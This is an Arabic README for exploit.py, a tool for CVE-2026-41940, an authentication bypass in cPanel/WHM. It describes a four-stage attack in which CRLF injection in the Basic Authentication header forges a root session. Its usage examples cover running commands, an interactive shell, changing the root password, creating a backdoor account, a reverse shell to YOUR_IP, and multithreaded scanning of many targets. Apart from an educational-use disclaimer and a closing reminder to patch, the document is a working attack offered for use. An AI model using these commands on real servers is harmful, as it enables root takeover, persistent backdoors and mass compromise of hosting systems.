CVE-2026-41940: تجاوز المصادقة في cPanel/WHM (هدف واحد وعدة أهداف)
إخلاء مسؤولية: هذه الوثيقة والبرنامج النصي المرتبط بها (exploit.py) مقدَّمان حصريًا للأغراض التعليمية وأبحاث الأمن واختبار الاختراق المصرَّح به. لا تستخدم هذا البرنامج ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
نظرة عامة
exploit.py هو برنامج نصي يوضح ثغرة تجاوز المصادقة (CVE-2026-41940) في cPanel وWHM. تتيح هذه الثغرة لمهاجم غير مصادَق حقن جلسة صلاحيات الجذر (root) في ذاكرة التخزين المؤقت للخدمة (daemon cache) عبر خلل في حقن CRLF، مما يمنح في النهاية وصولاً على مستوى الجذر إلى WHM دون الحاجة إلى بيانات اعتماد صالحة.
تحليل الثغرة وسير عمل الاستغلال
يعمل الاستغلال عبر توظيف ثغرة حقن CRLF (إرجاع العربة وتغذية السطر) داخل آلية معالجة المصادقة الأساسية (Basic Authentication)، إلى جانب خلل في نشر الجلسات. يقوم البرنامج النصي بأتمتة الهجوم على أربع مراحل:
- توليد جلسة ما قبل المصادقة: يتصل بنقاط نهاية تسجيل دخول عامة (مثل
/login/ أو /cgi/login.cgi) للحصول على ملف تعريف ارتباط جلسة أساسي غير مصادَق (whostmgrsession).
- حقن CRLF: يرسل ترويسة Basic Authentication مصمّمة بعناية تحتوي حمولة مشفّرة بـ Base64 تحقن حقول جلسة الجذر مباشرةً في ذاكرة التخزين المؤقت لجلسات
cpsrvd. ويؤدي رد إعادة التوجيه من الخادم إلى تسريب رمز الأمان المُولَّد (cpsess).
- نشر الجلسة: يتم إرسال ملف تعريف ارتباط الجلسة الخام إلى نقطة نهاية WHM مصادَق عليها، مما يُفعّل
do_token_denied لنشر الجلسة المزوّرة في ذاكرة التخزين المؤقت للخدمة — ليصبح ذلك جلسة مصادَق عليها صالحة.
- التحقق: يصل إلى نقاط نهاية WHM API المقيدة (مثل
/json-api/version) باستخدام الجلسة المزوّرة لتأكيد الوصول على مستوى الجذر.
المتطلبات الأساسية
- Python 3.x
- مكتبة
requests
الاستخدام
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
الوسائط
اختيار الهدف
| الوسيط | الوصف |
|---|
--target URL | عنوان WHM واحد (مثل https://target:2087) |
--target-file FILE | ملف يحتوي على الأهداف (سطر واحد بصيغة ip:port لكل هدف) — يفعّل وضع الفحص تلقائيًا |
خيارات الشبكة والأساسيات
خيارات الاستغلال (ما بعد التجاوز)
خيارات الإخراج
| الوسيط | الوصف |
|---|
--output FILE | حفظ رمز الجلسة والتفاصيل في ملف JSON |
أمثلة
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
أوامر القشرة التفاعلية
عند استخدام --shell، تتوفر الأوامر التالية:
تذكير
طبّق أحدث التصحيحات الأمنية لـ cPanel/WHM فورًا.